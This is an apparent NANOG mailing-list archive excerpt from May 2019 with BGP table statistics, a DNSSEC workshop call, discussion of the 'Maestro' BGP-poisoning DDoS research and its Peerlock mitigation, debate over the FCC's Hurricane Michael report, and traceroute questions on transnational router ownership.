TELLCOM-AS, TR 9121 1668 1692 18 TTNET, TR 13188 1601 100 47 TRIOLAN, UA 9009 1451 151 787 M247, GB 8402 1230 545 15 CORBINA-AS OJSC "Vimpelcom", RU Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 5754 3359 592 Uninet S.A. de C.V., MX 10620 3424 534 418 Telmex Colombia S.A., CO 11830 2708 384 34 Instituto Costarricense de Electricidad 7303 1474 1015 248 Telecom Argentina S.A., AR 28573 1358 2238 198 CLARO S.A., BR 6503 1263 433 53 Axtel, S.A.B. de C.V., MX 6147 1200 377 30 Telefonica del Peru S.A.A., PE 3816 1086 523 143 COLOMBIA TELECOMUNICACIONES S.A. ESP, C 13999 968 512 241 Mega Cable, S.A. de C.V., MX 11172 938 144 62 Alestra, S. de R.L. de C.V., MX Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 1175 393 21 LINKdotNET-AS, EG 37611 906 107 9 Afrihost, ZA 24835 888 648 21 RAYA-AS, EG 36992 836 1536 69 ETISALAT-MISR, EG 36903 827 416 126 MT-MPLS, MA 8452 684 1731 19 TE-AS TE-AS, EG 29571 511 68 11 ORANGE-COTE-IVOIRE, CI 37492 470 470 57 ORANGE-, TN 15706 421 32 6 Sudatel, SD 37342 420 32 1 MOVITEL, MZ Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 5754 3359 592 Uninet S.A. de C.V., MX 12479 5430 1629 140 UNI2-AS, ES 7545 4740 546 553 TPG-INTERNET-AP TPG Telecom Limited, AU 39891 3778 203 20 ALJAWWALSTC-AS, SA 6327 3656 1325 93 SHAW - Shaw Communications Inc., CA 11492 3651 238 584 CABLEONE - CABLE ONE, INC., US 7155 3566 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 10620 3424 534 418 Telmex Colombia S.A., CO 22773 3399 2974 157 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 8551 3219 378 45 BEZEQ-INTERNATIONAL-AS Bezeqint Interne Complete listing at http://thyme.rand.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 12479 5430 5290 UNI2-AS, ES 7545 4740 4187 TPG-INTERNET-AP TPG Telecom Limited, AU 39891 3778 3758 ALJAWWALSTC-AS, SA 6327 3656 3563 SHAW - Shaw Communications Inc., CA 7155 3566 3541 VIASAT-SP-BACKBONE - ViaSat,Inc., US 22773 3399 3242 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 8551 3219 3174 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 7552 3159 3132 VIETEL-AS-AP Viettel Group, VN 4538 3197 3123 ERX-CERNET-BKB China Education and Research Net 11492 3651 3067 CABLEONE - CABLE ONE, INC., US Complete listing at http://thyme.rand.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 230105 UNALLOCATED 38.110.79.0/24 23015 CMC180-TOR-AS - Cambridge Merc 266842 UNALLOCATED 45.238.156.0/22 265680 HNTELCO S.A, HN 65550 DOCUMENT 81.8.34.0/24 15924 BORUSANTELEKOM-AS, TR 65550 DOCUMENT 81.8.35.0/24 15924 BORUSANTELEKOM-AS, TR 65549 DOCUMENT 117.239.163.0/24 65544 UNKNOWN 64339 UNALLOCATED 143.0.108.0/22 18747 IFX18747 - IFX Corporation, US 65551 DOCUMENT 149.165.246.0/24 19782 INDIANAGIGAPOP - Indiana Unive 64355 UNALLOCATED 156.40.196.0/24 30387 NIH-NET-NCCS - National Instit 64011 UNALLOCATED 166.133.128.0/18 20057 ATT-MOBILITY-LLC-AS20057 - AT& 64011 UNALLOCATED 166.133.192.0/18 20057 ATT-MOBILITY-LLC-AS20057 - AT& Complete listing at http://thyme.rand.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 23.247.128.0/17 53889 MICFO - Micfo, LLC., US 23.247.197.0/24 53889 MICFO - Micfo, LLC., US 27.100.7.0/24 56096 UNKNOWN 27.126.156.0/22 55827 UNKNOWN 27.126.156.0/23 55827 UNKNOWN 27.126.158.0/23 55827 UNKNOWN 41.76.136.0/22 37500 -Reserved AS-, ZZ 41.76.140.0/22 37500 -Reserved AS-, ZZ 41.78.92.0/22 14988 BTC-GATE1, BW 41.78.180.0/23 37265 -Reserved AS-, ZZ Complete listing at http://thyme.rand.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:12 /9:10 /10:37 /11:100 /12:295 /13:571 /14:1131 /15:1911 /16:13328 /17:8004 /18:13977 /19:25784 /20:40294 /21:46929 /22:93824 /23:76497 /24:429533 /25:914 /26:0 /27:0 /28:0 /29:0 /30:0 /31:0 /32:0 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 12479 4362 5430 UNI2-AS, ES 6327 3431 3656 SHAW - Shaw Communications Inc., CA 39891 2946 3778 ALJAWWALSTC-AS, SA 7155 2930 3566 VIASAT-SP-BACKBONE - ViaSat,Inc., US 11492 2858 3651 CABLEONE - CABLE ONE, INC., US 8551 2673 3219 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 22773 2638 3399 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 11830 2053 2708 Instituto Costarricense de Electricidad y Telec 18566 1996 2101 MEGAPATH5-US - MegaPath Corporation, US 30036 1910 2160 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom Communi Complete listing at http://thyme.rand.apnic.net/current/data-sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 1:1599 2:1018 3:6 4:21 5:3161 6:47 7:1 8:1303 9:1 12:1802 13:340 14:1996 15:37 16:4 17:262 18:58 20:52 23:2696 24:2501 25:2 27:2454 31:1974 32:100 35:36 36:858 37:3025 38:1738 39:293 40:122 41:3286 42:780 43:2038 44:149 45:7712 46:3284 47:257 49:1364 50:1106 51:322 52:1012 54:282 55:704 56:6 57:44 58:1734 59:1060 60:502 61:2177 62:2188 63:1827 64:4966 65:2202 66:4827 67:2775 68:1161 69:3536 70:1360 71:625 72:2623 74:2746 75:1257 76:556 77:1781 78:1817 79:2281 80:1809 81:1504 82:1126 83:953 84:1132 85:2288 86:524 87:1550 88:1051 89:2650 90:217 91:6565 92:1395 93:2493 94:2513 95:3264 96:944 97:344 98:958 99:751 100:87 101:1159 102:567 103:21154 104:3561 105:257 106:782 107:1786 108:695 109:3747 110:1661 111:2055 112:1503 113:1405 114:1233 115:1712 116:1748 117:1909 118:2102 119:1627 120:1025 121:1043 122:2360 123:1710 124:1495 125:1949 128:1253 129:831 130:538 131:1822 132:787 133:222 134:1094 135:241 136:571 137:761 138:2060 139:877 140:645 141:882 142:795 143:1055 144:891 145:496 146:1266 147:838 148:1705 149:912 150:791 151:1020 152:1063 153:333 154:3012 155:919 156:1638 157:989 158:658 159:1951 160:1605 161:924 162:2756 163:814 164:1201 165:1590 166:431 167:1415 168:3334 169:874 170:4124 171:577 172:1575 173:2203 174:1044 175:927 176:2320 177:4224 178:2535 179:1395 180:2093 181:2421 182:2689 183:1113 184:2054 185:15139 186:3705 187:2487 188:2918 189:1973 190:8229 191:1599 192:10062 193:6663 194:5449 195:4119 196:3099 197:1791 198:5920 199:5987 200:7149 201:5123 202:10449 203:10089 204:4551 205:3037 206:3240 207:3240 208:3946 209:4239 210:3931 211:2020 212:3103 213:2950 214:1085 215:55 216:5926 217:2220 218:877 219:596 220:1862 221:968 222:989 223:1377 End of report From Jacques.Latour at cira.ca Sat May 11 03:30:36 2019 From: Jacques.Latour at cira.ca (Jacques Latour) Date: Sat, 11 May 2019 03:30:36 +0000 Subject: Call for Participation -- ICANN DNSSEC Workshop at ICANN65, Marrakech, Morocco. Message-ID: <57973507aba84554ab0bbf11d36b20b4@cira.ca> Call for Participation -- ICANN DNSSEC Workshop at ICANN65, Marrakech, Morocco. The DNSSEC Deployment Initiative and the Internet Society Deploy360 Programme, in cooperation with the ICANN Security and Stability Advisory Committee (SSAC), are planning a DNSSEC Workshop during the ICANN65 meeting held from 24-27 June 2019 in Marrakech, Morocco. The DNSSEC Workshop has been a part of ICANN meetings for several years and has provided a forum for both experienced and new people to meet, present and discuss current and future DNSSEC deployments. For reference, the most recent session was held at the ICANN Community Forum in Kobe, Japan on 13 March 2019. The presentations and transcripts are available at: https://64.schedule.icann.org/meetings/961937, https://64.schedule.icann.org/meetings/961938, and https://64.schedule.icann.org/meetings/961939. The DNSSEC Workshop Program Committee is developing a 3-hour program. Proposals will be considered for the following topic areas and included if space permits. In addition, we welcome suggestions for additional topics either for inclusion in the ICANN65 workshop, or for consideration for future workshops. 1. DNSSEC Activities Panel (Regional and global) For this panel, we are seeking participation from those who have been involved in DNSSEC deployment in the region and also from those who have not deployed DNSSEC but who have a keen interest in the challenges and benefits of deployment, including Root Key Signing Key (KSK) Rollover activities. Now that DNSSEC has become an operational norm for many registries, registrars, and ISPs, what have we learned about how we manage DNSSEC? What is the best practice around key rollovers? How often do you review your disaster recovery procedures? Is there operational familiarity within your customer support teams? What operational statistics have we gathered about DNSSEC? Are there experiences being documented in the form of best practices, or something similar, for transfer of signed zones? If you have a specific concern about the Root Key Rollover, or believe you have a method or solution to help address impacts, we would like to hear from you. 2. DNSSEC Deployment Challenges The program committee is seeking input from those that are interested in implementation of DNSSEC but have general or particular concerns with DNSSEC. In particular, we are seeking input from individuals that would be willing to participate in a panel that would discuss questions of the nature: - Are there any policies directly or indirectly impeding your DNSSEC deployment? (RRR model, CDS/CDNSKEY automation) - What are your most significant concerns with DNSSEC, e.g., complexity, training, implementation, operation or something else? - What do you expect DNSSEC to do for you and what doesn't it do? - What do you see as the most important trade-offs with respect to doing or not doing DNSSEC? We are interested in presentations related to any aspect of DNSSEC such as zone signing, DNS response validation, applications use of DNSSEC, registry/registrar DNSSEC activities, etc. In addition, we welcome suggestions for additional topics. If you are interested in participating, please send a brief (1-2 sentence) description of your proposed presentation to dnssec-marrakech at isoc.org by **Friday, 17 May 2019** Thank you, Jacques On behalf of the DNSSEC Workshop Program Committee: Mark Elkins, DNS/ZACR Jean Robert Hountomey, AfricaCERT Jacques Latour, .CA Xiaodong Lee, Chinese Academy of Sciences (CAS) Russ Mundy, Parsons Ondrej Filip, CZ.NIC Yoshiro Yoneya, JPRS Dan York, Internet Society -------------- next part -------------- An HTML attachment was scrubbed... URL: From job at ntt.net Sat May 11 04:29:32 2019 From: job at ntt.net (Job Snijders) Date: Sat, 11 May 2019 06:29:32 +0200 Subject: Seeking Feedback on Mitigation of New BGP-driven Attack In-Reply-To: References: <9f8da9d7-0852-42d4-9c5d-2e2a40d68d06@Spark> Message-ID: Dear Jared, This was a very interesting read. Thank you for sharing it with us. The paper contained new information for me, if I hope I summarize it correctly: by combining AS_PATH poisoning and botnets, the botnet’s firing power can be more precisely aimed at a specific target. Can you clarify what the definition of a “link” is? Is it the logical interconnection between two ASNs (many pairs of ASNs interconnect in many places), or is it a reference to a specific physical interconnection between two routers, each in a different ASN? The paper mentions that if the top 20 transit-free (“tier-1”) networks protect each other against poisoning, the Maestro attack is drastically reduced in effectiveness. I have good news, amongst this set of networks, there already is a widely deployed anti poisoning mechanism, sometimes referred to as “Peerlock”. https://www.youtube.com/watch?v=CSLpWBrHy10 / https://www.nanog.org/sites/default/files/Snijders_Everyday_Practical_Bgp.pdf . I think this paper suggests the Peerlock practice should be promoted more, and perhaps automated. Kind regards, Job On Fri, 10 May 2019 at 15:27, Jared Smith wrote: > Hello, > > Our research lab at the University of Tennessee (volsec.org) has recently > completed > a study on channeling link-flooding attack (transit link DDoS) flows > via BGP poisoning: the Maestro attack. We are seeking feedback on > mitigation (see below). A brief summary from the abstract: > > "Executed from a compromised or malicious Autonomous System (AS), > Maestro advertises specific-prefix routes poisoned for selected ASes > to collapse inbound traffic paths onto a single target link. A greedy > heuristic fed by publicly available AS relationship data iteratively > builds the set of ASes to poison. Given a compromised BGP speaker with > advantageous positioning relative to the target link in the Internet > topology, an adversary can expect to enhance flow density by more than 30%. > For a large botnet (e.g., Mirai), the bottom line result is augmenting a > DDoS by more than a million additional infected hosts. Interestingly, the > size of the adversary-controlled AS plays little role in this > amplification effect. Devastating attacks on core links can be executed by > small, resource-limited ASes." > > We are seeking feedback from operators on the attack and the proposed > mitigations we have identified. While we have worked with our campus BGP > operators, we are reaching out to the broader community for > additional insights. > > Other than general notes/comments, we have two specific questions that we > would > like to include feedback for in the final paper soon to be submitted: > > 1) Do you already filter poisoned/path prepend advertisements? This would > mitigate the attack. > > 2) After seeing this attack, would you consider adding poison filtering or > some other Day mitigation? > > The preprint is available at: tiny.utk.edu/maestro. See Section 7 on > defenses. > > Please reply with any thoughts. Thank you in advance for comments, > insight, and general feedback. > > Best, > Tyler McDaniel, Jared Smith, and Max Schuchard > UT Computer Security Lab > volsec.org > -------------- next part -------------- An HTML attachment was scrubbed... URL: From Roland.Dobbins at netscout.com Sat May 11 08:53:58 2019 From: Roland.Dobbins at netscout.com (Dobbins, Roland) Date: Sat, 11 May 2019 08:53:58 +0000 Subject: Seeking Feedback on Mitigation of New BGP-driven Attack In-Reply-To: References: <9f8da9d7-0852-42d4-9c5d-2e2a40d68d06@Spark> Message-ID: On 11 May 2019, at 11:29, Job Snijders wrote: > The paper contained new information for me, if I hope I summarize it > correctly: by combining AS_PATH poisoning and botnets, the botnet’s > firing power can be more precisely aimed at a specific target. That's my takeaway; it's utilizing illicit traffic engineering mechanisms to explicitly steer DDoS traffic, and peer-locking would frustrate this goal. The authors of the paper should be aware that in large volumetric attacks, the natural topological convergence of attack traffic as it progresses towards the intended target can fill up peering links, core links, et. al., greatly increasing the collateral damage of such attacks as bystander traffic traversing those links is crowded out. We've seen this happen many times over the last couple of decades, it isn't new or rare or unique as the paper seems to imply (apologies if that is not what the authors intended to convey). It's such a common aspect of DDoS attacks that overloading 'LFA' to try and invent an acronym for it (in network engineering terminology, 'LFA' = 'loop-free alternate'; see RFCs 5286 & 8518) isn't really necessary or helpful; it's actually confusing. Sometimes attackers consciously choose this as a tactic, sometimes they just hurl as much traffic as they can at the target and don't really care about the details, as long as it works — which all too often is the case when the defenders aren't adequately prepared. Quantity has a quality all its own. DDoS attacks are attacks against capacity and/or state; in this very common scenario, link capacity is adversely affected. The authors of the paper should also understand that commercial DDoS mitigation centers are not necessarily topologically adjacent to the properties being protected, as they seem to be asserting in the paper (again, apologies if this interpretation is incorrect); this is true in some models, but in other models they are topologically distant, sometimes being one or more ASNs away from said protected properties. We've observed what appeared to be the deliberate use of relatively topologically-adjacent bots and/or reflectors/amplifiers on a couple of occasions. We speculate that the attackers in those instances were attempting to maximize the amount of traffic-on-target; seeking to avoid detection/classification/traceback by avoiding crossing instrumented macro-level administrative boundaries (i.e., peering edges, the incorrect assumption on the part of the attacker being that all operators only instrument said peering edges); and/or to complicate diversion into peering edge- or topologically-distant DDoS mitigation centers. To date, we've not encountered illicit traffic engineering utilized during an attack, as described in the paper. While it's recently become trendy in the confidentiality and integrity arenas to give various exploits somewhat abstract names, this sort of thing isn't really helpful in the availability space, where the specific mechanisms and techniques employed matter a great deal to operators working in real time to defend against DDoS attacks. Rather than calling this a 'Maestro' attack, which carries no useful intrinsic meaning, perhaps an appellation such as 'topological forcing' or 'traffic steering' would be more appropriate. As in, 'a topologically-forced volumetric DDoS attack' or 'a traffic-steered volumetric DDoS attack'. n.b. — neological acronyms such as as TFVDDoS or TSVDDoS should be avoided, as this further unhelpfully fragments the terminology space. -------------------------------------------- Roland Dobbins From mikebolitho at gmail.com Sat May 11 11:28:57 2019 From: mikebolitho at gmail.com (Mike Bolitho) Date: Sat, 11 May 2019 04:28:57 -0700 Subject: FCC Hurricane Michael after-action report In-Reply-To: References: Message-ID: Trying not to get political, here goes... Something important to keep in mind: The current administration has been getting slammed for their lack of response in the aftermath of Michael since the hurricane hit. A lot of that criticism revolves around communications infrastructure and FEMA's lack of assistance. The current administration has, time and time again, used federal agencies (specifically their presidential appointees) to defend the administration's actions or inactions. I have read the full report and it is more or less a thinly veiled hit piece. I'm not going to link them here (they are easy enough to find via Google) but there are several very good articles written by reputable tech journalists that go into greater detail responding to the report. Worth checking out. I say all of that because most of us like to hate on telecom companies (many times rightly so) but I don't think they are entirely to blame here. There's nothing Verizon or AT&T can do if their backhaul is cut by a tree or some third party clean up crew. The report is a gross oversimplification of how telecommunication infrastructure works. I think anyone here that has ever worked a storm like this can attest to the complexity and difficulty you run into during recovery. Hanlon's Razor and all but this is the FCC and I would hope they would know better. Speaking specifically to point 51, it's impossible to coordinate between the thousands of crews working to clean things up and repair physical infrastructure after a massive storm like this. Many of the people doing physical cleanup are volunteers that are fully independent of any governing body or company. It is not a telco's responsibility to know when and where those crews are working. Further, even if those crews we're calling in and letting each telco know exactly where they were, what does that provide other than an impossibly large and fluid dataset to parse for any meaningful information. - Mike Bolitho On Thu, May 9, 2019, 4:43 PM Sean Donelan wrote: > > The FCC has released its report and analysis of Hurricane Michael impact > on communications: preparation, effect and recovery. > > > > https://www.fcc.gov/document/fcc-releases-report-communication-impacts-hurricane-michael-0 > > Conclusions and Recommendations > > 51. Backhaul outages loomed large as an impediment to communications > recovery. Uncoordinated post-storm recovery efforts between and among > communications, utility, and debris removal teams created unnecessary > delays to a speedy return to service. Customers who had communications > service restored – only to lose it again almost immediately because of a > fiber cut – provide a clear example of how better cross-sector > coordination could have improved the restoration process. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From mel at beckman.org Sat May 11 14:52:11 2019 From: mel at beckman.org (Mel Beckman) Date: Sat, 11 May 2019 14:52:11 +0000 Subject: FCC Hurricane Michael after-action report In-Reply-To: References: , Message-ID: This is what I tell outage complainers during natural disasters, such as the fires in California that recently took out a lot of power and communications: “Stop whining about how long it is taking to repair your Internet, your cell phone service, or your cable TV. You didn’t pay anything extra to recover from natural disasters, and none of us in the field are getting paid anything extra to restore your services. No, we don’t know how long it will take. It takes what it takes. That you don’t get instant gratification doesn’t make us incompetent. It makes you ungrateful. It’s a natural disaster. These are not scheduled. Your outage is nobody’s fault. We don’t have a duty to mitigate all conceivable failures. It takes time to repair. We’re not cheating you, or loafing around. We don’t owe you any special attention because of your status or reputation. So quit whining and be thankful you’re alive, and hopefully you haven’t lost too much. Maybe pitch in and help those who have.“ I also send this to ignorant journalists and grandstanding politicians. -mel via cell On May 11, 2019, at 4:29 AM, Mike Bolitho > wrote: Trying not to get political, here goes... Something important to keep in mind: The current administration has been getting slammed for their lack of response in the aftermath of Michael since the hurricane hit. A lot of that criticism revolves around communications infrastructure and FEMA's lack of assistance. The current administration has, time and time again, used federal agencies (specifically their presidential appointees) to defend the administration's actions or inactions. I have read the full report and it is more or less a thinly veiled hit piece. I'm not going to link them here (they are easy enough to find via Google) but there are several very good articles written by reputable tech journalists that go into greater detail responding to the report. Worth checking out. I say all of that because most of us like to hate on telecom companies (many times rightly so) but I don't think they are entirely to blame here. There's nothing Verizon or AT&T can do if their backhaul is cut by a tree or some third party clean up crew. The report is a gross oversimplification of how telecommunication infrastructure works. I think anyone here that has ever worked a storm like this can attest to the complexity and difficulty you run into during recovery. Hanlon's Razor and all but this is the FCC and I would hope they would know better. Speaking specifically to point 51, it's impossible to coordinate between the thousands of crews working to clean things up and repair physical infrastructure after a massive storm like this. Many of the people doing physical cleanup are volunteers that are fully independent of any governing body or company. It is not a telco's responsibility to know when and where those crews are working. Further, even if those crews we're calling in and letting each telco know exactly where they were, what does that provide other than an impossibly large and fluid dataset to parse for any meaningful information. - Mike Bolitho On Thu, May 9, 2019, 4:43 PM Sean Donelan wrote: The FCC has released its report and analysis of Hurricane Michael impact on communications: preparation, effect and recovery. https://www.fcc.gov/document/fcc-releases-report-communication-impacts-hurricane-michael-0 Conclusions and Recommendations 51. Backhaul outages loomed large as an impediment to communications recovery. Uncoordinated post-storm recovery efforts between and among communications, utility, and debris removal teams created unnecessary delays to a speedy return to service. Customers who had communications service restored – only to lose it again almost immediately because of a fiber cut – provide a clear example of how better cross-sector coordination could have improved the restoration process. -------------- next part -------------- An HTML attachment was scrubbed... URL: From dovid at telecurve.com Mon May 13 15:21:12 2019 From: dovid at telecurve.com (Dovid Bender) Date: Mon, 13 May 2019 11:21:12 -0400 Subject: Issues with SIP packets between VZ Fios and NTT Message-ID: Hi, Over the last 48 hours we have been getting a lot of alerts of customers phones losing registrations to us. All the complaints are coming from customers that are on VZ Fios in the NYC area. Anyone else see anything strange going on? TIA. Dovid -------------- next part -------------- An HTML attachment was scrubbed... URL: From pzhu011 at ucr.edu Sun May 12 00:24:27 2019 From: pzhu011 at ucr.edu (Pengxiong Zhu) Date: Sat, 11 May 2019 17:24:27 -0700 Subject: Ownership of Routers on Both Ends of Transnational Links In-Reply-To: References: Message-ID: Thanks again for your insightful responses! The case we discuss above is Chinese ISPs renting routers located outside China and the IPs belong to other ISPs. How about the case that the IP belongs to a Chinese ISP and is located in US(from RTT result), can we say it is very likely or definitely owned/operated by the Chinese ISP? Why would some ISP try to rent routers of Chinese ISP in US? For example, a traceroute from Ohio to an IP in China. Hop 17 and hop 18 should be located in US based on the RTT, and yet they belong to a Chinese AS(China Telecom). Does this mean that Chinese Telecom is managing these two hops? HOST: Loss% Snt Last Avg Best Wrst StDev 6. AS??? 100.65.11.97 0.0% 100 2.0 1.0 0.4 12.6 1.3 7. AS??? 52.93.15.238 0.0% 100 2.4 2.0 1.5 11.4 1.1 8. AS??? 52.93.14.134 0.0% 100 21.9 26.3 4.2 54.4 11.3 9. AS??? 52.93.14.119 0.0% 100 2.6 2.1 1.6 10.8 1.2 10. AS??? 100.91.27.86 0.0% 100 25.8 26.2 25.6 34.9 1.2 11. AS??? 54.239.42.197 0.0% 100 25.5 25.9 25.4 35.8 1.5 12. AS??? 100.91.4.218 0.0% 100 25.9 26.2 25.1 38.3 1.6 13. AS??? 100.91.4.217 0.0% 100 25.4 26.0 25.3 41.4 2.0 14. AS??? 100.91.5.85 0.0% 100 25.3 25.8 25.2 29.1 0.9 15. AS??? 54.239.103.86 0.0% 100 25.6 30.0 25.2 49.1 3.8 16. AS??? 54.239.103.77 0.0% 100 25.3 25.6 25.2 28.1 0.5 17. AS4134 218.30.53.1 0.0% 100 28.0 29.1 25.2 33.1 2.3 18. AS4134 202.97.50.21 0.0% 100 32.4 29.1 25.2 33.5 2.4 19. AS??? ??? 100.0 100 0.0 0.0 0.0 0.0 0.0 20. AS??? ??? 100.0 100 0.0 0.0 0.0 0.0 0.0 21. AS4134 202.97.94.121 0.0% 100 186.8 185.6 181.8 189.8 2.3 22. AS4816 119.147.222.6 0.0% 100 182.6 183.5 182.4 195.8 1.8 23. AS4816 183.2.182.130 0.0% 100 181.7 183.3 181.5 207.0 3.9 24. AS??? ??? 100.0 100 0.0 0.0 0.0 0.0 0.0 25. AS45102 116.251.113.158 0.0% 100 176.7 177.9 176.5 186.7 2.1 26. AS45102 116.251.115.141 0.0% 100 213.2 213.4 213.1 218.5 0.6 Best, Pengxiong Zhu Department of Computer Science and Engineering University of California, Riverside On Tue, Apr 16, 2019 at 7:37 PM Erik Sundberg wrote: > May sure when you are dealing with transnational links to watch the > latency so you can tell when the link goes international. Just because you > are going from a US Network provider to China Telecom doesn't mean that > your not connecting to them in the united states. > > > > For example a traceroute from Denver to 27.29.128.1 which is an IP in > China Telecom's network. > > It's about 26ms between Denver and Los Angeles. Hop 5 to Hop 6 > > China Telecom connects to GTT in Los Angeles Hop7/8 > > On Hop 8 is in the United State and Hop 9 is across the pacific. Because > the latency goes from 31 ms to 183 ms. > > > Just something to keep in mind. > > > > Packets Pings > Host > Loss% Snt Last Avg Best Wrst StDev > 1. _gateway > 0.0% 14 1.0 1.2 1.0 2.8 0.5 > 2. te-0-0-26.ear2.den1.us.nitelusa.net > 0.0% 14 0.9 1.0 0.8 2.1 0.4 > 3. te-0-0-26.ear1.den1.us.nitelusa.net > 0.0% 14 1.1 1.6 1.1 2.9 0.7 > 4. te-0-0-1-0.cr1.den1.us.nitelusa.net > 0.0% 14 1.0 1.0 1.0 1.1 0.0 > 5. ae1-122.cr0-den2.ip4.gtt.net > 0.0% 14 0.5 1.2 0.3 6.9 2.0 > 6. et-0-0-47.cr3-lax2.ip4.gtt.net > 0.0% 14 26.5 26.4 26.2 26.7 0.2 > 7. as4134.lax20.ip4.gtt.net > 0.0% 14 27.7 28.7 26.8 30.1 1.1 > 8. 202.97.50.29 > 0.0% 14 31.4 30.6 26.8 34.1 2.4 > 9. 202.97.41.129 > 0.0% 14 183.3 187.1 183.3 190.8 2.4 > 10. 202.97.94.101 > 0.0% 14 187.9 188.6 186.1 211.2 6.8 > 11. 202.97.94.141 > 0.0% 13 177.8 180.7 177.2 184.2 2.3 > 12. 202.97.67.54 > 0.0% 13 199.5 201.2 197.4 205.1 2.6 > 13. 111.177.110.62 > 0.0% 13 205.9 206.3 205.9 208.2 0.7 > 14. 27.29.128.1 > 0.0% 13 202.6 202.8 202.5 203.9 0.4 > > > Erik Sundberg > > Sr. Network Engineer > > Nitel > > 350 N Orleans Street > > Suite 1300N > > Chicago, Il 60654 > > Desk: 773-661-5532 > > Cell: 708-710-7419 > > NOC: 866-892-0915 > > Email: esundberg at nitelusa.com > > web: www.nitelusa.com > > ------------------------------ > *From:* Zhiyun Qian > *Sent:* Tuesday, April 16, 2019 1:02:36 PM > *To:* Erik Sundberg > *Cc:* Pengxiong Zhu; Zhiyun Qian; Zhongjie Wang; Keyu Man > *Subject:* Re: Ownership of Routers on Both Ends of Transnational Links > > Erik, > > Thanks a lot for the information! This is extremely helpful. We are > conducting an analysis on performance/policy-related study on transnational > links. We are hoping to submit a paper soon. Will be glad to share all the > details once we have a draft! > > Best, > -Zhiyun > > > On Tue, Apr 16, 2019 at 10:35 AM Erik Sundberg > wrote: > > CPE is usually ran by the customer. Some provider do offer managed routers > for a fee. Kinda like renting a cable modem from your provider. > > > What are your guys trying to accomplish or find out? > > Erik > > > > Erik Sundberg > Sr. Network Engineer > Nitel > 350 N Orleans Street > Suite 1300N > Chicago, Il 60654 > Desk: 773-661-5532 > Cell: 708-710-7419 > NOC: 866-892-0915 > Email: esundberg at nitelusa.com > web: www.nitelusa.com > > ------------------------------ > *From:* Pengxiong Zhu > *Sent:* Tuesday, April 16, 2019 12:32 PM > *To:* Erik Sundberg > *Cc:* Zhiyun Qian; Zhongjie Wang; Keyu Man > *Subject:* Re: Ownership of Routers on Both Ends of Transnational Links > > Thanks a lot! > > Are the Customer Devices managed by Telia or the customer? > > Best, > Pengxiong Zhu > Department of Computer Science and Engineering > University of California, Riverside > > > On Tue, Apr 16, 2019 at 7:43 AM Erik Sundberg > wrote: > > I hope this helps with the breakdown for telia. > > > > > Telia i think is using /31's for there serial blocks now > > 62.115.170.56 (Telia Edge Rotuer) > > 62.115.170.57 (Customer Device) > > > > chinaunicom-ic-341501-sjo-b21.c.telia.net. > > > ---.c.telia.net > > > > Customer: ChinaUnicom > > Telia Circuit ID's are: ic-123456 > > POP: SJO (Airport code) > > Router: b21 > > Doamin: c.telia.net "Customer.telia.net" > > > > > Erik Sundberg > > Sr. Network Engineer > > Nitel > > 350 N Orleans Street > > Suite 1300N > > Chicago, Il 60654 > > Desk: 773-661-5532 > > Cell: 708-710-7419 > > NOC: 866-892-0915 > > Email: esundberg at nitelusa.com > > web: www.nitelusa.com > > ------------------------------ > *From:* NANOG on behalf of Pengxiong Zhu < > pzhu011 at ucr.edu> > *Sent:* Monday, April 15, 2019 11:36:45 PM > *To:* nanog at nanog.org > *Cc:* Keyu Man; Zhiyun Qian; Zhongjie Wang > *Subject:* Ownership of Routers on Both Ends of Transnational Links > > Howdy folks, > > We are a group of researchers at UC Riverside conducting some measurement > about transnational networks. In particular, we are interested in studying > the ownership of routers on the two sides of transnational links. > > We have some concrete questions which we hope someone can shed some light > on. Basically when we send packets from US/Canada to China, through > traceroute and the RTT of each hop, we can locate the last hop in the US > before the packets enter China (*there is a large jump of RTT of 100+ms > from this hop onwards*). Oftentimes the ownership of such routers is > ambiguous. > > These hops whose IPs seem to belong to US or European ISPs (*according to > BGP info*) but their reverse DNS names have *chinaunicom* in it, which is > a Chinese ISP. > AS1299 Telia Company AB > 62.115.170.57 name = chinaunicom-ic-341501-sjo-b21.c.telia.net. > 62.115.33.230 name = chinaunicom-ic-302366-las-bb1.c.telia.net. > 213.248.73.190 name = chinaunicom-ic-127288-sjo-b21.c.telia.net. > > AS701 Verizon Business > 152.179.103.254 name = chinaunicom-gw.customer.alter.net. > > While the following routers, they don't have a reverse DNS name at all, > which seem to be uncommon if they were managed by US or European ISPs but > quite common for Chinese ISPs. > AS6453 TATA COMMUNICATIONS (AMERICA) INC > 63.243.205.90 > 66.110.59.118 > > Can anyone confirm that these are indeed managed by the Chinese ISPs (even > though they are physically located in the US according to the traceroute > and RTT analysis)? > > > Best, > Pengxiong Zhu > Department of Computer Science and Engineering > University of California, Riverside > > ------------------------------ > > CONFIDENTIALITY NOTICE: This e-mail transmission, and any documents, files > or previous e-mail messages attached to it may contain confidential > information that is legally privileged. If you are not the intended > recipient, or a person responsible for delivering it to the intended > recipient, you are hereby notified that any disclosure, copying, > distribution or use of any of the information contained in or attached to > this transmission is STRICTLY PROHIBITED. If you have received this > transmission in error please notify the sender immediately by replying to > this e-mail. You must destroy the original transmission and its attachments > without reading or saving in any manner. Thank you. > > > ------------------------------ > > 